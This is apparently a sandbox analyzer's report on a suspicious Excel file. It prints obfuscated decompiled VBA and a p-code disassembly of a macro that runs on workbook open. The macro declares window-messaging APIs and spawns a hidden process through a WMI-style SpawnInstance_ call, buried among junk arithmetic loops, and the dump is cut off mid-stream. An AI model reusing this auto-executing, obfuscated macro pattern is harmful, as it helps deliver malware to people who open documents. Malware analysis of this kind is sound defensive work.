HQG1_hzWJ_xld = Join(Array(PBs9o_DcNP & "MOUjf_9SN", x6bskVfq5Qv0k + F3bLM_KPj - qHoy_rQwX_FG5_zjJz, Fd3pn_t08k, Nuejf_QLqU, "FmZG_CTVp_2Hf K0w0HkSDWcS CH7TaAhgCUhrn0" & "NuCznIXAL Wa73_8qA_07v"))
Tcqn9_DYI = Join(Array("ResPx8k8dIq", "wy05mAvCv TXPxe_kVvF_qXV2_7bS" + "Xul0y_oO5X_RoU"))
.Create hIxUh5Lfb1gh5CB, Null, O90VvfG8XnObzvLtE
Debug.Print J1lLLCgOpq
Debug.Print DNjs_0rJS
End With
CzJK_1bu_9tCt_xN0 = Len(Join(Array(jQ4E_zgx_2wf_KtH * GDJsU5pmC6inK & Z9yu0l26, "OkByj_pf8_jj1_GbJ A0y095dDegvLaFID" & v7m9eKS2l05TI951 + BSE6tDQPK19tzZS, qP1pzZ5oz)))
m5et_01JY_Sd5_wSo3 = Abs(CLng(((5.90405904059041E-02 * 813) Or 424)))
NFoqhp7 = Join(Array(q0Bf_QWw, XIMzCQqdh, Z0iWNzwwHohJz & "ECzZ_AmH" & AeRRoZidfLeiBv, "Pudy_a7u_jbx_uEQD" & "IN87_bKpk_B20W C2pr_UW8_H4fX WmlD_j2bJ_nba", LJ5s_0C7 & "Q4tm_6r7_mly_l92 ThTQX_CsF_SFvu_qhk KEhxhY5oc54", RA8C_Gvj0_CNz & "eSBRu_LZm_fE7"))
Debug.Print XZlFN_DAd
End Function

' Processing file: /opt/analyzer/scan_staging/d98ed620fbcd4eb488345dc1ae796198.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1950 bytes
' Line #0:
' 	FuncDefn (Sub Workbook_Open())
' Line #1:
' 	Ld mcJd_VbeR_HRiA_Dlx 
' 	Ld E1Zpc_6Tl 
' 	Ld d0JDDd6hvvkqYqRS 
' 	FnInStr3 
' 	St PlD0ObY3TzZ 
' Line #2:
' 	Ld Zmcn_sRYe_Ka4f_dcy8 
' 	MemLd P9C4aSn 
' 	St ucj7nhWB2ZDf 
' Line #3:
' 	EndSub 
' _VBA_PROJECT_CUR/VBA/Sheet1 - 1007 bytes
' _VBA_PROJECT_CUR/VBA/Zmcn_sRYe_Ka4f_dcy8 - 24124 bytes
' Line #0:
' 	LbMark 
' 	Ld VBA7 
' 	LbIf 
' Line #1:
' 	FuncDefn (Function FtpAVM0f0hLS2(ByVal Wd5b_H5J7 As Long) As Long)
' Line #2:
' 	FuncDefn (Function DUqUgAvR8yU1Ncu(ByVal ONyLsCfflSK As Long) As Long)
' Line #3:
' 	LbMark 
' 	LbElse 
' Line #4:
' 	Reparse 0x00C7 "Private Declare Function FtpAVM0f0hLS2 Lib "user32.dll" Alias "PostMessageA" (ByVal Wd5b_H5J7 As Long, ByVal EqmWkkGBKLJ As Long, ByVal JlSK5_MkOx_1iS_eyb As Long, ByVal Ek1LGYcnyFtA As Long) As Long"
' Line #5:
' 	Reparse 0x00C6 "Private Declare Function DUqUgAvR8yU1Ncu Lib "user32.dll" Alias "FindWindowExA" (ByVal ONyLsCfflSK As Long, ByVal V15cK_nPr As Long, ByVal ceKy4uefMCKFCb As String, ByVal GiwPTvt0 As String) As Long"
' Line #6:
' 	LbMark 
' 	LbEndIf 
' Line #7:
' 	Dim (Private Const) 
' 	LitHI2 0x0102 
' 	VarDefn UlYoTmwpN (As Long)
' Line #8:
' 	FuncDefn (Function vlLIrbSdI1VDSKUqX())
' Line #9:
' 	LineCont 0x0010 1A 00 01 00 35 00 01 00 48 00 01 00 54 00 01 00
' 	LitStr 0x0001 "a"
' 	ArgsLd Asc 0x0001 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd Yjd4JNs9zmWgLp 0x0001 
' 	LitDI2 0x0051 
' 	UMi 
' 	Not 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd ChrW 0x0001 
' 	Add 
' 	Ld Chr 
' 	LitDI2 0x0076 
' 	And 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd Yjd4JNs9zmWgLp 0x0001 
' 	Add 
' 	LitDI2 0x0284 
' 	LitR8 0x0000 0x0000 0x4800 0x4087 
' 	Sub 
' 	Paren 
' 	Not 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd Yjd4JNs9zmWgLp 0x0001 
' 	Add 
' 	Ld xlStockOHLC 
' 	LitDI2 0x0071 
' 	LitR8 0x0000 0x0000 0xC000 0x4076 
' 	Add 
' 	Paren 
' 	Sub 
' 	Paren 
' 	Not 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd ChrW 0x0001 
' 	Add 
' 	LitDI2 0x03EC 
' 	LitDI2 0x0378 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd ChrW 0x0001 
' 	Add 
' 	Ld xlDialogDataLabel 
' 	LitR8 0xEE9C 0x27A3 0x5E1D 0x3FD0 
' 	LitDI2 0x03E9 
' 	Mul 
' 	Paren 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd ChrW 0x0001 
' 	Add 
' 	St vlLIrbSdI1VDSKUqX 
' Line #10:
' 	LitDI2 0x0301 
' 	LitR8 0x989B 0xB7C2 0x345F 0x3FE4 
' 	LitDI2 0x046E 
' 	UMi 
' 	Mul 
' 	Paren 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0128 
' 	Xor 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd IsDate 0x0001 
' 	St xlDialogAddinManager 
' Line #11:
' 	EndFunc 
' Line #12:
' 	FuncDefn (Function xeFlxTwBSWylzE(y6uV0_JSP))
' Line #13:
' 	Ld KSJ1ec9frTH0bu 
' 	St dil86vDxlca3OX 
' Line #14:
' 	Ld Z3iOE_wsd_eBUD 
' 	Ld VrBA_RJZ 
' 	Add 
' 	Ld wDx7O_Of3 
' 	Add 
' 	ArgsArray Array 0x0001 
' 	St OybvpPsec0Bhi 
' Line #15:
' 	LitStr 0x0017 "lKOEKWW8vj43 w3LQH_HmYh"
' 	LitStr 0x002B "LgybIxqGomgc MAfoN_Or1a_29cn_eAUr AVwZyHTPy"
' 	Concat 
' 	LitStr 0x002F "JzAyR55W5MWoBRz Tf3Zn_AY01_hLjl_S698 LE47C_cI25"
' 	ArgsArray Array 0x0002 
' 	ArgsLd Join 0x0001 
' 	FnLen 
' 	St AbwdyCFtbwl 
' Line #16:
' 	StartForVariable 
' 	Ld J1k14_r0MT_1g9 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld xlCurrencyLeadingZeros 
' 	LitDI2 0x0601 
' 	LitDI2 0x00BB 
' 	LitR8 0x0000 0x0000 0x4000 0x4065 
' 	UMi 
' 	Sub 
' 	Paren 
' 	Sub 
' 	Paren 
' 	Xor 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #17:
' 	Ld J1k14_r0MT_1g9 
' 	St OIo4nrU2LeQ 
' Line #18:
' 	StartForVariable 
' 	Ld J1k14_r0MT_1g9 
' 	EndForVariable 
' 	NextVar 
' Line #19:
' 	StartForVariable 
' 	Ld X2s0i_P2To_ZUO 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0030 
' 	LitR8 0xB4B5 0xB4B4 0xB4B4 0x3FD4 
' 	UMi 
' 	LitDI2 0x02EC 
' 	UMi 
' 	Mul 
' 	Paren 
' 	Or 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #20:
' 	Ld X2s0i_P2To_ZUO 
' 	St X2s0i_P2To_ZUO 
' Line #21:
' 	StartForVariable 
' 	Ld X2s0i_P2To_ZUO 
' 	EndForVariable 
' 	NextVar 
' Line #22:
' 	StartForVariable 
' 	Ld gHhZOayT6sGgxv 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0185 
' 	LitR8 0x8E70 0x39BE 0x3EFA 0x4078 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0532 
' 	UMi 
' 	Mul 
' 	Paren 
' 	Not 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #23:
' 	Ld gHhZOayT6sGgxv 
' 	St bGSgtQE 
' Line #24:
' 	StartForVariable 
' 	Ld gHhZOayT6sGgxv 
' 	EndForVariable 
' 	NextVar 
' Line #25:
' 	LitDI4 0x4328 0x0001 
' 	LitR8 0x85DB 0xDB30 0x3085 0x3FDB 
' 	LitDI2 0x04C8 
' 	UMi 
' 	Mul 
' 	Paren 
' 	Add 
' 	Paren 
' 	LitDI4 0x45A9 0x0001 
' 	Or 
' 	Paren 
' 	Coerce (Lng) 
' 	LitDI2 0x7B4B 
' 	LitDI2 0x0275 
' 	Add 
' 	Paren 
' 	Coerce (Lng) 
' 	Sub 
' 	LitR8 0x4782 0xB9FF 0x7A1E 0x3FF0 
' 	LitDI2 0x03E0 
' 	UMi 
' 	LitR8 0xE01F 0xC4B9 0x083A 0x408F 
' 	UMi 
' 	Sub 
' 	Paren 
' 	LitDI2 0x76B4 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Paren 
' 	Coerce (Lng) 
' 	Add 
' 	Paren 
' 	Ld Hex 
' 	Mul 
' 	LitR8 0xAE48 0x39C4 0x1D09 0x3FF0 
' 	LitDI2 0x7D16 
' 	Mul 
' 	Paren 
' 	LitDI2 0x7FC4 
' 	And 
' 	Paren 
' 	Coerce (Lng) 
' 	Add 
' 	Coerce (Lng) 
' 	ArgsLd qJraw_jKRu_JeGX 0x0001 
' 	St xeFlxTwBSWylzE 
' Line #26:
' 	LitStr 0x0015 "Cljdde9g5sb5 n2xoRVT0"
' 	LitStr 0x000A "Vlohw_VIpE"
' 	Add 
' Unrecognized opcode 0x0137 at offset 0x00004112.
' Line #27:
' 	Ld VoNQld4rHDN 
' 	LitDI2 0x0347 
' 	UMi 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	LitDI2 0x0723 
' 	UMi 
' 	LitR8 0x0000 0x0000 0xD800 0x4085 
' 	Add 
' 	Paren 
' 	LitDI2 0x035C 
' 	Add 
' 	Paren 
' 	Coerce (Lng) 
' 	Gt 
' 	St eJD91VWu 
' Line #28:
' 	StartForVariable 
' 	Ld xlThousandMillions 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0307 
' 	LitR8 0x0000 0x0000 0xD000 0x4076 
' 	UMi 
' 	Add 
' 	Paren 
' 	Ld JXr0_4Fd_BBtT_MXV 
' 	LitR8 0x0000 0x0000 0x4000 0x4078 
' 	Sub 
' 	Paren 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #29:
' 	Ld xlThousandMillions 
' 	St xlPasteValuesAndNumberFormats 
' Line #30:
' 	StartForVariable 
' 	Ld xlThousandMillions 
' 	EndForVariable 
' 	NextVar 
' Line #31:
' 	StartForVariable 
' 	Ld AZ06_xRWr 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld RmCQ_xE5 
' 	LitDI2 0x0416 
' 	LitR8 0x2705 0xE373 0x4D15 0x400B 
' 	Ld xlDialogMainChart 
' 	Mul 
' 	Paren 
' 	Sub 
' 	Paren 
' 	Or 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #32:
' 	Ld AZ06_xRWr 
' 	St xlDialogFormatAuto 
' Line #33:
' 	StartForVariable 
' 	Ld AZ06_xRWr 
' 	EndForVariable 
' 	NextVar 
' Line #34:
' 	QuoteRem 0x0000 0x0065 "FdTU_orr ak19a_ZCYC kCke_gez chA7tyfPKV98uNh ItB0_3Sgb_IBB SGnHTmDe N3gw_oOLo_GezO_FcGh XWOe0_X87_T2O"
' Line #35:
' 	StartForVariable 
' 	Ld ZFYA1_ew7W_gn3 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0558 
' 	UMi 
' 	LitDI2 0x01C7 
' 	UMi 
' 	LitR8 0x0000 0x0000 0xC000 0x406E 
' 	Add 
' 	Paren 
' 	Sub 
' 	Paren 
' 	Not 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #36:
' 	Ld ZFYA1_ew7W_gn3 
' 	St ZggXa_AqZ2_kQw_L9B9 
' Line #37:
' 	StartForVariable 
' 	Ld ZFYA1_ew7W_gn3 
' 	EndForVariable 
' 	NextVar 
' Line #38:
' 	Ld eLxV_sxjF_8Ir 
' 	Ld EhauXf41JZf 
' 	Ld W487k_0SQX_zxu 
' 	FnInStr3 
' 	St E0GC_aRFO_PMfe_Yi5j 
' Line #39:
' 	EndFunc 
' Line #40:
' 	FuncDefn (Function S5KR8rSH1swWYwv(RY105lJ69R))
' Line #41:
' 	SetStmt 
' 	Ld RY105lJ69R 
' 	ArgsLd GetObject 0x0001 
' 	MemLd SpawnInstance_ 
' 	Set S5KR8rSH1swWYwv 
' Line #42:
' 	LitStr 0x000C "WTM3V1vkTiRV"
' 	St BuASR_WYk_JNlQ_jaJg 
' Line #43:
' 	Ld iOQBvM9 
' 	Ld Gbo6udASCAk 
' 	Ld ZlAEq6oAQKjQ 
' 	FnInStr3 
' 	St qdWnQYQ 
' Line #44:
' 	LitStr 0x0003 "959"
' 	St MCEe9_Snu_SsBX_xkc 
' Line #45:
' 	LitDI2 0x0331 
' 	UMi 
' 	LitDI2 0x033D 
' 	Add 
' 	Paren 
' 	Coerce (Lng) 
' 	Ld S5KR8rSH1swWYwv 
' 	MemSt ShowWindow 
' Line #46:
' 	StartForVariable 
' 	Ld jSHrkDfu4bxg49J 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitR8 0x0000 0x0000 0x0000 0x3FF9 
' 	LitDI2 0x0090 
' 	UMi 
' 	Mul 
' 	Paren 
' 	Not 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #47:
' 	Ld jSHrkDfu4bxg49J 
' 	St A9Ka_TEy8 
' Line #48:
' 	StartForVariable 
' 	Ld jSHrkDfu4bxg49J 
' 	EndForVariable 
' 	NextVar 
' Line #49:
' 	Ld oCFMe_PD5 
' 	Ld NzFt3_zaYp_tEIB_8mdz 
' 	Add 
' 	Ld gBTy1gm4qX35 
' 	Sub 
' 	LitStr 0x001B "zMeOU_MDF_8Yp1_TWX FzCsmGDS"
' 	ArgsArray Array 0x0002 
' 	St NzCDOjw 
' Line #50:
' 	StartForVariable 
' 	Ld PEg6lqEI 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0128 
' 	UMi 
' 	Not 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #51:
' 	Ld PEg6lqEI 
' 	St ahWIz_v6Oh 
' Line #52:
' 	StartForVariable 
' 	Ld PEg6lqEI 
' 	EndForVariable 
' 	NextVar 
' Line #53:
' 	EndFunc 
' Line #54:
' 	FuncDefn (Function JYGujfn80N0psus(S19L_EPn_wtj8_ztj5))
' Line #55:
' 	LitR8 0x645A 0xDF3B 0x8D4F 0x3FD7 
' 	LitDI2 0x00FA 
' 	Mul 
' 	Paren 
' 	Ld xlRangeAutoFormatReport4 
' 	Or 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd ChrW 0x0001 
' 	St JYGujfn80N0psus 
' Line #56:
' 	LitStr 0x0010 "CoBP_HRp_zfC_s9u"
' 	St MRWCA0mbNxC7TtbM 
' Line #57:
' 	EndFunc 
' Line #58:
' 	FuncDefn (Function E2wtp4BfM0A(cYkO7_KqnP_3jB9))
' Line #59:
' 	QuoteRem 0x0000 0x0073 "fiHZe15A WOLzEydhsDKb VFEJ_OaVg_0azN vyM3_mow9 PbOZfd1gz0AD xAWpDXsZQk2pX H7A54jWo2zgO NOA3X_oCM Xq1yM_AeW_JCF_4pNN"
' Line #60:
' 	Ld Q3U3t_vxof 
' 	St RKHYS_9yFk_h1F_2Gz 
' Line #61:
' 	LitDI2 0x07D9 
' 	LitR8 0x0000 0x0000 0x7800 0x408A 
' 	UMi 
' 	Add 
' 	Paren 
' 	LitDI2 0x0809 
' 	Or 
' 	Paren 
' 	Coerce (Lng) 
' 	FnAbs 
' 	St ROVs_7dbw_HPh5_4bi 
' Line #62:
' 	Ld mzgmdCO 
' 	Ld MlQBnBwe2ZmwWsA 
' 	Ld mifeCJXZdTwbouv6 
' 	FnInStr3 
' 	St bC5gT_kc2_m9Y4 
' Line #63:
' 	StartForVariable 
' 	Ld dgA3_r0JR_AAaQ_iR8y 
' 	EndForVariable 
' 	LitDI2 0x018E 
' 	UMi 
' 	LitDI2 0x018F 
' 	UMi 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	LitDI4 0x136B 0x0002 
' 	LitDI2 0x0073 
' 	UMi 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #64:
' 	QuoteRem 0x0000 0x0074 "HxiOw_LyjL_S40_0yOM CZCMKmvB0JWH3kd3 C8iPH_tU1_4Ikz O5953RGSJ7b KLAg7_i0F3_Hkp_hfJ0 ZNSCa_04u_u7u_6Ha TgH1z_SF1_5qZh"
' Line #65:
' 	LitStr 0x0008 "AULG_w6J"
' 	LitStr 0x0027 "XkEYMMbN2XW NwFnMlmCNw4R WacJy_8WBW_qDp"
' 	Add 
' 	Ld pckxe1wZph 
' 	LitStr 0x000F "A8Hjw7uRmEd5ESd"
' 	LitStr 0x0013 "J0Ul53B3 L0oUT_Wvax"
' 	LitStr 0x0021 "otEk_VHDl snZOqDDoA1r5f HXrc_4F9R"
' 	Add 
' 	Concat 
' 	Ld mLDZh4JLR 
' 	LitStr 0x0011 "nN68_0CW_BBG_gQ6l"
' 	Concat 
' 	LitStr 0x000C "OAKM_QXx_zu8"
' 	LitStr 0x000A "fVgA4_gKE4"
' 	Concat 
' 	Ld hCJwOnGUv 
' 	Concat 
' 	ArgsArray Array 0x0005 
' 	ArgsLd Join 0x0001 
' 	St MCa1UpQxo39F 
' Line #66:
' 	Ld F00UvMcDHrJIGz 
' 	St wvCd_AAOx 
' Line #67:
' 	QuoteRem 0x0000 0x003E "Vvg1_07F_sUd_t5mj OrOl_HKdH VGAT_b85w Zzm4oT9R e88dy4Ts3mkpOA2"
' Line #68:
' 	Ld MLTrVEn 
' 	St CN5X0VP4F3 
' Line #69:
' 	LitR8 0x8138 0x3813 0x1381 0x3FD8 
' 	Ld xlDialogScrollbarProperties 
' 	Mul 
' 	Paren 
' 	LitDI2 0x009E 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	Ld xlFormatFromLeftOrAbove 
' 	Ld xlLinkStatusOK 
' 	And 
' 	Paren 
' 	Coerce (Lng) 
' 	Ld cYkO7_KqnP_3jB9 
' 	Ld vbNullString 
' 	ArgsLd DUqUgAvR8yU1Ncu 0x0004 
' 	St E3N95JpOKNp6X 
' Line #70:
' 	LitR8 0x6622 0x1988 0x8662 0x3FE8 
' 	Ld xlDialogFontProperties 
' 	Mul 
' 	Paren 
' 	Ld xlIMEModeNoControl 
' 	Xor 
' 	Paren 
' 	Coerce (Lng) 
' 	FnAbs 
' 	St S6xv_zOp_elu 
' Line #71:
' 	LitR8 0xD2E5 0x556E 0xA3B2 0x3FEC 
' 	LitDI2 0x0359 
' 	Mul 
' 	Paren 
' 	LitDI2 0x03DC 
' 	And 
' 	Paren 
' 	Coerce (Lng) 
' 	FnAbs 
' 	St Ozph_bz9j_ynkj 
' Line #72:
' 	StartForVariable 
' 	Ld dgA3_r0JR_AAaQ_iR8y 
' 	EndForVariable 
' 	NextVar 
' Line #73:
' 	StartForVariable 
' 	Ld EhwCyzhnZhD 
' 	EndForVariable 
' 	LitR8 0x567E 0xF60E 0x99C8 0x3F0D 
' 	Ld xl3DColumnClustered 
' 	Mul 
' 	Paren 
' 	Ld xlDialogVbaInsertFile 
' 	Mul 
' 	Paren 
' 	Coerce (Lng) 
' 	Ld hjbhu_mXUj_FH0 
' 	FnLen 
' 	For 
' Line #74:
' 	LitR8 0xD39E 0x9C23 0x5F50 0x3FE5 
' 	LitDI2 0x077B 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0685 
' 	LitR8 0x0000 0x0000 0x8000 0x407D 
' 	UMi 
' 	Add 
' 	Paren 
' 	And 
' 	Paren 
' 	Coerce (Lng) 
' 	FnAbs 
' 	St naSv_o3o_T8d 
' Line #75:
' 	StartForVariable 
' 	Ld QpgQ_RWZ_PBw 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x03F2 
' 	LitDI2 0x00D1 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #76:
' 	Ld QpgQ_RWZ_PBw 
' 	St PZ0z63LMFOzo1 
' Line #77:
' 	StartForVariable 
' 	Ld QpgQ_RWZ_PBw 
' 	EndForVariable 
' 	NextVar 
' Line #78:
' 	LitStr 0x0014 "EiizY_hf2d_uLUL_8UPv"
' 	LitStr 0x001B "Urj0_Xyp_IVX KoRKTNN1y3iLTc"
' 	Concat 
' 	Ld J0IGoxdo 
' 	Concat 
' 	Ld FkmuMMwlK005LKGf 
' 	LitStr 0x0008 "tO0qi0Qn"
' 	Concat 
' 	LitStr 0x0015 "UlubKGjC ZNbo0ABrNjlJ"
' 	Concat 
' 	Ld IuwHAvygxTqIUA 
' 	Ld G2ckHoC 
' 	Concat 
' 	Ld PJKyY8c1LT4P 
' 	LitStr 0x0027 "jILSTOq1QlHKkXR B1Bav_Osq_ue0 DCxc_BAO8"
' 	LitStr 0x002F "TOdcCLGnhe7p CbXnDSTT6Ec6sW Ig0YY_OC7T_IXhd_25K"
' 	Concat 
' 	LitStr 0x001D "OFetzGuw2mZLRD f4DMhNt5VVfnOw"
' 	Ld ETS7E_Qt6Q_KqIU 
' 	Concat 
' 	LitStr 0x001D "Ixh0a_vAfz JAff_6Wto_2ylf_ONY"
' 	Concat 
' 	ArgsArray Array 0x0006 
' 	St Lxf1ioBqKleay 
' Line #79:
' 	Ld E3N95JpOKNp6X 
' 	Ld UlYoTmwpN 
' 	Ld hjbhu_mXUj_FH0 
' 	Ld EhwCyzhnZhD 
' 	ArgsLd Mid$ 0x0002 
' 	LitR8 0x1F70 0x7DC1 0xF704 0x3F81 
' 	UMi 
' 	LitDI2 0x0072 
' 	UMi 
' 	Mul 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsLd Left$ 0x0002 
' 	ArgsLd Asc 0x0001 
' 	LitDI2 0x0337 
' 	LitDI2 0x0337 
' 	Sub 
' 	Paren 
' 	Coerce (Lng) 
' 	ArgsCall FtpAVM0f0hLS2 0x0004 
' Line #80:
' 	Debug 
' 	PrintObj 
' 	Ld zdHI8_x2eX_Ev5_rH6 
' 	PrintItemNL 
' Line #81:
' 	StartForVariable 
' 	Ld EhwCyzhnZhD 
' 	EndForVariable 
' 	NextVar 
' Line #82:
' 	StartForVariable 
' 	Ld BsP4RFDswWxh42 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld xlDialogOptionsME 
' 	LitR8 0x0000 0x0000 0x8000 0x4057 
' 	Add 
' 	Paren 
' 	LitDI2 0x01AB 
' 	Xor 
' 	Paren 
' 	Coerce (Lng) 
' 	For 
' Line #83:
' 	Ld BsP4RFDswWxh42 
' 	St buh5LdduA2c 
' Line #84:
' 	StartForVariable 
' 	Ld BsP4RFDswWxh42 
' 	EndForVariable 
' 	NextVar 
' Line #85:
' 	LitDI2 0x065F 
' 	LitDI2 0x0155 
' 	UMi 
' 	Add 
' 	Paren 
…

Open this report in the interactive analyzer, or submit your own file for analysis.